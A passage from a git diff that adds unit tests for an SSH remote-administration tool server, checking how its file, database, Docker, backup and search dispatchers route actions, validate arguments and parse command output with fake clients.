i) => `row${i}`).join('\n'); + const out = compressPs('HEADER\n' + rows + '\n'); + assert.strictEqual(out.dropped, 15, 'trailing newline not counted as a row'); + assert(out.text.endsWith('\n'), 'trailing newline preserved'); +}); + +test('compressPs: exactly PS_KEEP+1 lines (header + 15 rows) -> dropped 0', () => { + const rows = Array.from({ length: 15 }, (_, i) => `row${i}`).join('\n'); + const out = compressPs('HEADER\n' + rows + '\n'); + assert.strictEqual(out.dropped, 0, 'header + 15 rows is exactly the cap'); +}); + +// --- negative-match guards ----------------------------------------------- +test('compress: psql / tops / lsof are not matched as ps or ls', () => { + const rows = Array.from({ length: 30 }, (_, i) => `r${i}`).join('\n'); + const long = 'HEAD\n' + rows; + assert.strictEqual(compress('psql -c "select 1"', long), long, 'psql != ps'); + assert.strictEqual(compress('tops', long), long, 'tops != ps'); + assert.strictEqual(compress('lsof -i :80', long), long, 'lsof != ls'); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-concurrency.js b/tests/test-concurrency.js index e4adec8..c838dd2 100644 --- a/tests/test-concurrency.js +++ b/tests/test-concurrency.js @@ -62,5 +62,18 @@ await test('pMap: concurrency > items still works', async () => { assert.deepStrictEqual(r.map(x => x.value), [2, 4]); }); +// Non-array items must degrade to [] -- never loop forever on undefined.length. +// (A group dispatcher that hands pMap an object instead of an array used to +// OOM-crash the whole server.) +await test('pMap: non-array items degrades to [] instead of looping forever', async () => { + let called = 0; + const inc = async () => { called++; }; + for (const bad of [undefined, null, { servers: ['a'] }, 'str', 42]) { + const r = await pMap(bad, inc); + assert.deepStrictEqual(r, [], `non-array ${JSON.stringify(bad)} -> []`); + } + assert.strictEqual(called, 0, 'fn never invoked for non-array input'); +}); + console.log(`\n${passed} passed, ${failed} failed`); if (failed > 0) { for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); process.exit(1); } diff --git a/tests/test-db-tools.js b/tests/test-db-tools.js index 723a456..b683282 100644 --- a/tests/test-db-tools.js +++ b/tests/test-db-tools.js @@ -355,6 +355,20 @@ await test('ssh_db_list: MongoDB lists collections when database given', async ( assert.strictEqual(parsed.data.db_type, 'mongodb'); }); +await test('ssh_db_list: markdown render lists each database on its own line', async () => { + const client = new FakeClient({ script: () => ({ stdout: 'app\nanalytics\nstaging\n', code: 0 }) }); + const r = await handleSshDbList({ + getConnection: async () => client, + args: { server: 's', db_type: 'mysql' }, + }); + const text = r.content[0].text; + assert(text.includes('\n- app'), 'app on its own line'); + assert(text.includes('\n- analytics'), 'analytics on its own line'); + assert(text.includes('\n- staging'), 'staging on its own line'); + assert(text.includes('3 databases'), 'count rendered'); + assert(!text.includes('["app"'), 'array not JSON-collapsed'); +}); + // -------------------------------------------------------------------------- // handleSshDbDump // -------------------------------------------------------------------------- diff --git a/tests/test-deploy-tools.js b/tests/test-deploy-tools.js index ddb1d3e..3bf3afe 100644 --- a/tests/test-deploy-tools.js +++ b/tests/test-deploy-tools.js @@ -6,6 +6,7 @@ import os from 'os'; import path from 'path'; import { EventEmitter } from 'events'; import { handleSshDeploy } from '../src/tools/deploy-tools.js'; +import { unwrapTimeout } from './util-timeout-unwrap.js'; let passed = 0, failed = 0; const fails = []; async function test(name, fn) { @@ -23,7 +24,9 @@ function makeClient(script) { return { commands, _script: script, - exec(cmd, cb) { + exec(rawCmd, cb) { + // Recover inner command from `timeout -k N N sh -c ''` wrapper. + const cmd = unwrapTimeout(rawCmd); commands.push(cmd); const s = new FakeStream(); setImmediate(() => { diff --git a/tests/test-dispatcher-backup.js b/tests/test-dispatcher-backup.js new file mode 100644 index 0000000..4245707 --- /dev/null +++ b/tests/test-dispatcher-backup.js @@ -0,0 +1,107 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_backup v4 dispatcher (src/dispatchers/ssh-backup.js). + * Run: node tests/test-dispatcher-backup.js + */ +import assert from 'assert'; +import { handleSshBackup } from '../src/dispatchers/ssh-backup.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_backup dispatcher\n'); + +await test('create routes to handlers.create, maps backup_type', async () => { + const create = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { create }, + args: { server: 's', action: 'create', backup_type: 'mysql', database: 'app' }, + }); + assert.strictEqual(create.calls.length, 1); + assert.strictEqual(create.calls[0].args.backup_type, 'mysql'); + assert.strictEqual(create.calls[0].getConnection, DEPS.getConnection); +}); + +await test('list routes to handlers.list', async () => { + const list = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { list }, + args: { server: 's', action: 'list', backup_type: 'files' }, + }); + assert.strictEqual(list.calls.length, 1); +}); + +await test('restore routes to handlers.restore with backup_id + preview', async () => { + const restore = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { restore }, + args: { server: 's', action: 'restore', backup_id: 'bk-1', preview: true }, + }); + assert.strictEqual(restore.calls.length, 1); + assert.strictEqual(restore.calls[0].args.backup_id, 'bk-1'); + assert.strictEqual(restore.calls[0].args.preview, true); +}); + +await test('schedule routes to handlers.schedule with cron', async () => { + const schedule = spy(); + await handleSshBackup({ + deps: DEPS, handlers: { schedule }, + args: { server: 's', action: 'schedule', cron: '0 3 * * *', backup_type: 'mysql', database: 'app' }, + }); + assert.strictEqual(schedule.calls.length, 1); + assert.strictEqual(schedule.calls[0].args.cron, '0 3 * * *'); +}); + +await test('restore missing backup_id -> structured fail, handler not called', async () => { + const restore = spy(); + const r = await handleSshBackup({ + deps: DEPS, handlers: { restore }, + args: { server: 's', action: 'restore' }, + }); + assert.strictEqual(restore.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('backup_id')); +}); + +await test('schedule missing cron -> structured fail', async () => { + const r = await handleSshBackup({ + deps: DEPS, handlers: { schedule: spy() }, + args: { server: 's', action: 'schedule' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('cron')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshBackup({ deps: DEPS, handlers: {}, args: { server: 's', action: 'purge' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('purge')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-ctx.js b/tests/test-dispatcher-ctx.js new file mode 100644 index 0000000..08b13bb --- /dev/null +++ b/tests/test-dispatcher-ctx.js @@ -0,0 +1,131 @@ +#!/usr/bin/env node +/** + * Test suite for the v4 dispatcher framework helpers: + * src/dispatchers/action-validate.js and src/dispatchers/ctx-factory.js. + * Run: node tests/test-dispatcher-ctx.js + */ +import assert from 'assert'; +import { requireArgs } from '../src/dispatchers/action-validate.js'; +import { makeCtx } from '../src/dispatchers/ctx-factory.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +function test(name, fn) { + try { + fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +console.log('[test] Testing dispatcher framework helpers\n'); + +// --- requireArgs --------------------------------------------------------- +test('requireArgs: all required args present -> null', () => { + const r = requireArgs('ssh_run', 'exec', { command: 'ls' }, { exec: ['command'] }); + assert.strictEqual(r, null); +}); + +test('requireArgs: missing arg -> structured fail MCP response', () => { + const r = requireArgs('ssh_run', 'exec', {}, { exec: ['command'] }); + assert(r && typeof r === 'object', 'returns an object'); + assert.strictEqual(r.isError, true); + assert.strictEqual(r.content[0].type, 'text'); + assert(r.content[0].text.includes('command'), 'names the missing arg'); + assert(r.content[0].text.includes('exec'), 'names the action'); +}); + +test('requireArgs: lists every missing arg, not just the first', () => { + const r = requireArgs('ssh_file', 'sync', {}, { sync: ['source', 'destination'] }); + assert(r.content[0].text.includes('source')); + assert(r.content[0].text.includes('destination')); +}); + +test('requireArgs: empty string counts as missing', () => { + const r = requireArgs('ssh_run', 'exec', { command: '' }, { exec: ['command'] }); + assert(r, 'empty-string arg is treated as absent'); +}); + +test('requireArgs: false and 0 count as present', () => { + assert.strictEqual( + requireArgs('t', 'a', { flag: false, n: 0 }, { a: ['flag', 'n'] }), + null, + 'falsey-but-present values satisfy the requirement', + ); +}); + +test('requireArgs: action absent from map -> null (no requirements)', () => { + assert.strictEqual(requireArgs('t', 'unknown', {}, { other: ['x'] }), null); +}); + +test('requireArgs: server is validated like any other required arg', () => { + const r = requireArgs('ssh_run', 'exec', { command: 'ls' }, { exec: ['server', 'command'] }); + assert(r.content[0].text.includes('server'), 'missing server reported'); +}); + +test('requireArgs: explicit null counts as missing', () => { + const r = requireArgs('ssh_run', 'exec', { command: null }, { exec: ['command'] }); + assert(r, 'null-valued arg is treated as absent'); + assert(r.content[0].text.includes('command')); +}); + +// --- makeCtx ------------------------------------------------------------- +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => 'CFG', + resolveGroup: () => 'GRP', + getSftp: () => 'SFTP', +}; + +test('makeCtx: "conn" kind -> { getConnection, args }', () => { + const ctx = makeCtx('conn', DEPS, { server: 's' }); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection']); + assert.strictEqual(ctx.getConnection, DEPS.getConnection); + assert.deepStrictEqual(ctx.args, { server: 's' }); +}); + +test('makeCtx: "conn-cfg" kind adds getServerConfig', () => { + const ctx = makeCtx('conn-cfg', DEPS, { server: 's' }); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'getServerConfig']); + assert.strictEqual(ctx.getServerConfig, DEPS.getServerConfig); +}); + +test('makeCtx: "conn-group" kind adds resolveGroup', () => { + const ctx = makeCtx('conn-group', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'resolveGroup']); + assert.strictEqual(ctx.resolveGroup, DEPS.resolveGroup); +}); + +test('makeCtx: "cfg" kind -> { getServerConfig, args } only', () => { + const ctx = makeCtx('cfg', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getServerConfig']); +}); + +test('makeCtx: "args" kind -> { args } only', () => { + const ctx = makeCtx('args', DEPS, { x: 1 }); + assert.deepStrictEqual(Object.keys(ctx), ['args']); + assert.deepStrictEqual(ctx.args, { x: 1 }); +}); + +test('makeCtx: "deploy" kind -> { getConnection, getSftp, args }', () => { + const ctx = makeCtx('deploy', DEPS, {}); + assert.deepStrictEqual(Object.keys(ctx).sort(), ['args', 'getConnection', 'getSftp']); + assert.strictEqual(ctx.getSftp, DEPS.getSftp); +}); + +test('makeCtx: unknown kind throws', () => { + assert.throws(() => makeCtx('bogus', DEPS, {}), /unknown ctx kind/); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-db.js b/tests/test-dispatcher-db.js new file mode 100644 index 0000000..1148708 --- /dev/null +++ b/tests/test-dispatcher-db.js @@ -0,0 +1,123 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_db v4 dispatcher (src/dispatchers/ssh-db.js). + * Run: node tests/test-dispatcher-db.js + */ +import assert from 'assert'; +import { handleSshDb } from '../src/dispatchers/ssh-db.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_db dispatcher\n'); + +await test('query routes to handlers.query with db_type + query', async () => { + const query = spy(); + await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { server: 's', action: 'query', database: 'app', query: 'SELECT 1', db_type: 'mysql' }, + }); + assert.strictEqual(query.calls.length, 1); + assert.strictEqual(query.calls[0].args.query, 'SELECT 1'); + assert.strictEqual(query.calls[0].args.db_type, 'mysql'); + assert.strictEqual(query.calls[0].getConnection, DEPS.getConnection); +}); + +await test('list routes to handlers.list (database optional)', async () => { + const list = spy(); + await handleSshDb({ + deps: DEPS, handlers: { list }, + args: { server: 's', action: 'list', db_type: 'postgresql' }, + }); + assert.strictEqual(list.calls.length, 1); + assert.strictEqual(list.calls[0].args.db_type, 'postgresql'); +}); + +await test('dump routes to handlers.dump', async () => { + const dump = spy(); + await handleSshDb({ + deps: DEPS, handlers: { dump }, + args: { server: 's', action: 'dump', database: 'app', output_path: '/tmp/a.sql', db_type: 'mysql' }, + }); + assert.strictEqual(dump.calls.length, 1); + assert.strictEqual(dump.calls[0].args.output_path, '/tmp/a.sql'); +}); + +await test('import routes to handlers.import, forwards preview', async () => { + const importH = spy(); + await handleSshDb({ + deps: DEPS, handlers: { import: importH }, + args: { server: 's', action: 'import', database: 'app', input_path: '/tmp/a.sql', preview: true, db_type: 'mysql' }, + }); + assert.strictEqual(importH.calls.length, 1); + assert.strictEqual(importH.calls[0].args.input_path, '/tmp/a.sql'); + assert.strictEqual(importH.calls[0].args.preview, true); +}); + +await test('db credential args are forwarded', async () => { + const query = spy(); + await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { + server: 's', action: 'query', database: 'app', query: 'SELECT 1', db_type: 'mysql', + user: 'u', password: 'p', + }, + }); + const fwd = query.calls[0].args; + assert.strictEqual(fwd.user, 'u'); + assert.strictEqual(fwd.password, 'p'); +}); + +await test('query missing query -> structured fail, handler not called', async () => { + const query = spy(); + const r = await handleSshDb({ + deps: DEPS, handlers: { query }, + args: { server: 's', action: 'query', database: 'app', db_type: 'mysql' }, + }); + assert.strictEqual(query.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('query')); +}); + +await test('dump missing database -> structured fail', async () => { + const r = await handleSshDb({ + deps: DEPS, handlers: { dump: spy() }, + args: { server: 's', action: 'dump', db_type: 'mysql' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('database')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshDb({ deps: DEPS, handlers: {}, args: { server: 's', action: 'truncate' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('truncate')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-docker.js b/tests/test-dispatcher-docker.js new file mode 100644 index 0000000..621df79 --- /dev/null +++ b/tests/test-dispatcher-docker.js @@ -0,0 +1,128 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_docker v4 dispatcher (src/dispatchers/ssh-docker.js). + * Run: node tests/test-dispatcher-docker.js + */ +import assert from 'assert'; +import { handleSshDockerTool } from '../src/dispatchers/ssh-docker.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { getConnection: () => 'CONN' }; + +console.log('[test] Testing ssh_docker dispatcher\n'); + +await test('ps routes to handlers.docker with action=ps', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'ps' }, + }); + assert.strictEqual(docker.calls.length, 1); + assert.strictEqual(docker.calls[0].args.action, 'ps'); + assert.strictEqual(docker.calls[0].getConnection, DEPS.getConnection); +}); + +await test('logs routes to handlers.docker, forwards container + tail_lines', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'logs', container: 'web', tail_lines: 50 }, + }); + assert.strictEqual(docker.calls[0].args.action, 'logs'); + assert.strictEqual(docker.calls[0].args.container, 'web'); + assert.strictEqual(docker.calls[0].args.tail_lines, 50); +}); + +await test('exec routes to handlers.docker, forwards command', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'exec', container: 'web', command: 'ls' }, + }); + assert.strictEqual(docker.calls[0].args.action, 'exec'); + assert.strictEqual(docker.calls[0].args.command, 'ls'); +}); + +await test('restart routes to handlers.docker, forwards preview', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'restart', container: 'web', preview: true }, + }); + assert.strictEqual(docker.calls[0].args.action, 'restart'); + assert.strictEqual(docker.calls[0].args.preview, true); +}); + +await test('inspect routes to handlers.docker', async () => { + const docker = spy(); + await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'inspect', container: 'web' }, + }); + assert.strictEqual(docker.calls[0].args.action, 'inspect'); +}); + +await test('logs missing container -> structured fail, handler not called', async () => { + const docker = spy(); + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'logs' }, + }); + assert.strictEqual(docker.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('container')); +}); + +await test('exec missing command -> structured fail', async () => { + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker: spy() }, + args: { server: 's', action: 'exec', container: 'web' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('command')); +}); + +await test('compose is rejected with a clear message', async () => { + const docker = spy(); + const r = await handleSshDockerTool({ + deps: DEPS, handlers: { docker }, + args: { server: 's', action: 'compose' }, + }); + assert.strictEqual(docker.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.toLowerCase().includes('compose')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshDockerTool({ deps: DEPS, handlers: {}, args: { server: 's', action: 'swarm' } }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('swarm')); +}); + +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-file.js b/tests/test-dispatcher-file.js new file mode 100644 index 0000000..2414738 --- /dev/null +++ b/tests/test-dispatcher-file.js @@ -0,0 +1,215 @@ +#!/usr/bin/env node +/** + * Routing suite for the ssh_file v4 dispatcher (src/dispatchers/ssh-file.js). + * Run: node tests/test-dispatcher-file.js + */ +import assert from 'assert'; +import { handleSshFile } from '../src/dispatchers/ssh-file.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +function spy(ret = { content: [{ type: 'text', text: 'ok' }], isError: false }) { + const calls = []; + const fn = async (ctx) => { calls.push(ctx); return ret; }; + fn.calls = calls; + return fn; +} + +const DEPS = { + getConnection: () => 'CONN', + getServerConfig: () => ({}), + getSftp: () => 'SFTP', +}; + +console.log('[test] Testing ssh_file dispatcher\n'); + +// --- routing ------------------------------------------------------------- +await test('upload routes to handlers.upload, maps local/remote_path', async () => { + const upload = spy(); + await handleSshFile({ + deps: DEPS, handlers: { upload }, + args: { server: 's', action: 'upload', local_path: '/l', remote_path: '/r' }, + }); + assert.strictEqual(upload.calls.length, 1); + assert.strictEqual(upload.calls[0].args.local_path, '/l'); + assert.strictEqual(upload.calls[0].args.remote_path, '/r'); + assert.strictEqual(upload.calls[0].getConnection, DEPS.getConnection); +}); + +await test('download routes to handlers.download', async () => { + const download = spy(); + await handleSshFile({ + deps: DEPS, handlers: { download }, + args: { server: 's', action: 'download', local_path: '/l', remote_path: '/r' }, + }); + assert.strictEqual(download.calls.length, 1); +}); + +await test('sync routes to handlers.sync with getServerConfig in ctx', async () => { + const sync = spy(); + await handleSshFile({ + deps: DEPS, handlers: { sync }, + args: { server: 's', action: 'sync', source: 'local:/a', destination: 'remote:/b' }, + }); + assert.strictEqual(sync.calls.length, 1); + assert.strictEqual(sync.calls[0].getServerConfig, DEPS.getServerConfig); + assert.strictEqual(sync.calls[0].args.source, 'local:/a'); +}); + +await test('read routes to handlers.cat, maps remote_path -> file', async () => { + const cat = spy(); + await handleSshFile({ + deps: DEPS, handlers: { cat }, + args: { server: 's', action: 'read', remote_path: '/etc/hosts', tail: 20 }, + }); + assert.strictEqual(cat.calls.length, 1); + assert.strictEqual(cat.calls[0].args.file, '/etc/hosts'); + assert.strictEqual(cat.calls[0].args.tail, 20); +}); + +await test('write routes to handlers.edit with new_content set from content', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { server: 's', action: 'write', remote_path: '/tmp/f', content: 'hello' }, + }); + assert.strictEqual(edit.calls.length, 1); + assert.strictEqual(edit.calls[0].args.path, '/tmp/f'); + assert.strictEqual(edit.calls[0].args.new_content, 'hello'); +}); + +await test('edit routes to handlers.edit, maps remote_path -> path', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { + server: 's', action: 'edit', remote_path: '/tmp/f', + old_text: 'a', new_text: 'b', + }, + }); + assert.strictEqual(edit.calls.length, 1); + assert.strictEqual(edit.calls[0].args.path, '/tmp/f'); + // old_text is literal user text -> patch carries literal:true + assert.deepStrictEqual(edit.calls[0].args.patch, [{ find: 'a', replace: 'b', literal: true }]); +}); + +await test('edit marks the patch literal so regex metachars in old_text match verbatim', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { + server: 's', action: 'edit', remote_path: '/tmp/f', + old_text: 'a.b(c)[d]*?', new_text: 'X', + }, + }); + const p = edit.calls[0].args.patch[0]; + assert.strictEqual(p.literal, true, 'literal flag set so applyPatches escapes the find'); + assert.strictEqual(p.find, 'a.b(c)[d]*?', 'find passed through unescaped -- applyPatches escapes it'); +}); + +await test('edit without old_text or content -> routes, patch undefined', async () => { + const edit = spy(); + await handleSshFile({ + deps: DEPS, handlers: { edit }, + args: { server: 's', action: 'edit', remote_path: '/tmp/f' }, + }); + assert.strictEqual(edit.calls.length, 1); + assert.strictEqual(edit.calls[0].args.path, '/tmp/f'); + assert.strictEqual(edit.calls[0].args.patch, undefined); +}); + +await test('diff routes to handlers.diff', async () => { + const diff = spy(); + await handleSshFile({ + deps: DEPS, handlers: { diff }, + args: { server: 's', action: 'diff', path_a: '/a', path_b: '/b' }, + }); + assert.strictEqual(diff.calls.length, 1); + assert.strictEqual(diff.calls[0].args.path_a, '/a'); +}); + +await test('deploy routes to handlers.deploy with getSftp in ctx', async () => { + const deploy = spy(); + await handleSshFile({ + deps: DEPS, handlers: { deploy }, + args: { + server: 's', action: 'deploy', + artifact_local_path: '/a', target_path: '/t', + }, + }); + assert.strictEqual(deploy.calls.length, 1); + assert.strictEqual(deploy.calls[0].getSftp, DEPS.getSftp); + assert.strictEqual(deploy.calls[0].args.artifact_local_path, '/a'); +}); + +await test('deploy-artifact routes to handlers.deploy', async () => { + const deploy = spy(); + await handleSshFile({ + deps: DEPS, handlers: { deploy }, + args: { + server: 's', action: 'deploy-artifact', + artifact_local_path: '/a', target_path: '/t', + }, + }); + assert.strictEqual(deploy.calls.length, 1); +}); + +// --- arg validation ------------------------------------------------------ +await test('upload missing local_path -> structured fail, handler not called', async () => { + const upload = spy(); + const r = await handleSshFile({ + deps: DEPS, handlers: { upload }, + args: { server: 's', action: 'upload', remote_path: '/r' }, + }); + assert.strictEqual(upload.calls.length, 0); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('local_path')); +}); + +await test('write missing content -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: { edit: spy() }, + args: { server: 's', action: 'write', remote_path: '/tmp/f' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('content')); +}); + +await test('sync missing destination -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: { sync: spy() }, + args: { server: 's', action: 'sync', source: 'local:/a' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('destination')); +}); + +await test('unknown action -> structured fail', async () => { + const r = await handleSshFile({ + deps: DEPS, handlers: {}, + args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +// --- Summary ------------------------------------------------------------- +console.log(`\n${passed} passed, ${failed} failed`); +if (failed > 0) { + for (const f of fails) console.error(` [err] ${f.name}\n ${f.err.stack}`); + process.exit(1); +} diff --git a/tests/test-dispatcher-find.js b/tests/test-dispatcher-find.js new file mode 100644 index 0000000..da188aa --- /dev/null +++ b/tests/test-dispatcher-find.js @@ -0,0 +1,306 @@ +#!/usr/bin/env node +/** + * Routing + pipeline suite for the ssh_find v4 dispatcher + * (src/dispatchers/ssh-find.js). A fake ssh2 client returns canned stdout so + * the build -> exec -> parse -> render path is exercised without a network. + * Run: node tests/test-dispatcher-find.js + */ +import assert from 'assert'; +import { handleSshFind } from '../src/dispatchers/ssh-find.js'; + +let passed = 0; +let failed = 0; +const fails = []; + +async function test(name, fn) { + try { + await fn(); + passed++; + console.log(`[ok] ${name}`); + } catch (e) { + failed++; + fails.push({ name, err: e }); + console.error(`[err] ${name}: ${e.message}`); + } +} + +// Fake ssh2 client: client.exec(cmd, cb) -> a stream emitting canned stdout. +// `script` records every command string the dispatcher runs. +function fakeClient(stdoutByMatch) { + const script = []; + const client = { + exec(command, cb) { + script.push(command); + let chosen = ''; + for (const [needle, out] of stdoutByMatch) { + if (command.includes(needle)) { chosen = out; break; } + } + const listeners = {}; + const stream = { + stderr: { on() { return stream.stderr; } }, + on(ev, fn) { (listeners[ev] = listeners[ev] || []).push(fn); return stream; }, + close() {}, + signal() {}, + }; + cb(null, stream); + setImmediate(() => { + for (const fn of listeners.data || []) fn(Buffer.from(chosen)); + for (const fn of listeners.close || []) fn(0, null); + }); + return client; + }, + }; + client.script = script; + return client; +} + +const depsWith = (client) => ({ getConnection: async () => client }); + +console.log('[test] Testing ssh_find dispatcher\n'); + +// --- arg validation ------------------------------------------------------ +await test('missing action -> structured fail', async () => { + const r = await handleSshFind({ deps: depsWith(fakeClient([])), args: { server: 's' } }); + assert.strictEqual(r.isError, true); +}); + +await test('unknown action -> structured fail naming the action', async () => { + const r = await handleSshFind({ + deps: depsWith(fakeClient([])), args: { server: 's', action: 'teleport' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('teleport')); +}); + +await test('grep without pattern -> structured fail, never connects', async () => { + const client = fakeClient([]); + const r = await handleSshFind({ + deps: depsWith(client), args: { server: 's', action: 'grep', path: '/srv' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('pattern')); + assert.strictEqual(client.script.length, 0, 'no command run when args invalid'); +}); + +await test('grep without server -> structured fail', async () => { + const r = await handleSshFind({ + deps: depsWith(fakeClient([])), args: { action: 'grep', pattern: 'x', path: '/srv' }, + }); + assert.strictEqual(r.isError, true); + assert(r.content[0].text.includes('server')); +}); + +// --- grep pipeline ------------------------------------------------------- +await test('grep builds an rg/grep command and runs it through the client', async () => { + const client = fakeClient([['rg', '/srv/app/main.js:42:const TODO = 1;\n']]); + await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'TODO', path: '/srv/app' }, + }); + assert.strictEqual(client.script.length, 1, 'exactly one command run'); + const cmd = client.script[0]; + assert(cmd.startsWith('timeout '), 'Plan-5 timeout wrapper preserved'); + assert(cmd.includes('command -v rg'), 'rg-preferred grep command'); + assert(cmd.includes("'TODO'"), 'pattern shell-quoted'); +}); + +await test('grep parses file:line:text stdout into structured hits', async () => { + const client = fakeClient([['rg', + '/srv/app/main.js:42:const TODO = 1;\n/srv/app/util.js:7:// TODO refactor\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { + server: 's', action: 'grep', pattern: 'TODO', path: '/srv/app', format: 'json', + }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.action, 'grep'); + assert.strictEqual(res.data.count, 2); + assert.deepStrictEqual(res.data.hits[0], { + file: '/srv/app/main.js', line: 42, text: 'const TODO = 1;', + }); +}); + +await test('grep renders a hits table in the markdown face', async () => { + const client = fakeClient([['rg', '/a/x.js:3:hit one\n']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'hit', path: '/a' }, + }); + assert.strictEqual(r.isError, false); + const text = r.content[0].text; + assert(text.includes('/a/x.js'), 'file path rendered'); + assert(text.includes('hit one'), 'match text rendered'); +}); + +await test('grep with zero hits -> success, empty hit list', async () => { + const client = fakeClient([['rg', '']]); + const r = await handleSshFind({ + deps: depsWith(client), + args: { server: 's', action: 'grep', pattern: 'nope', path: '/a', format: 'json' }, + }); + const res = JSON.parse(r.content[0].text); + assert.strictEqual(res.success, true); + assert.strictEqual(res.data.count, 0); + assert.deepStrictEqual(res.data.hits, []); 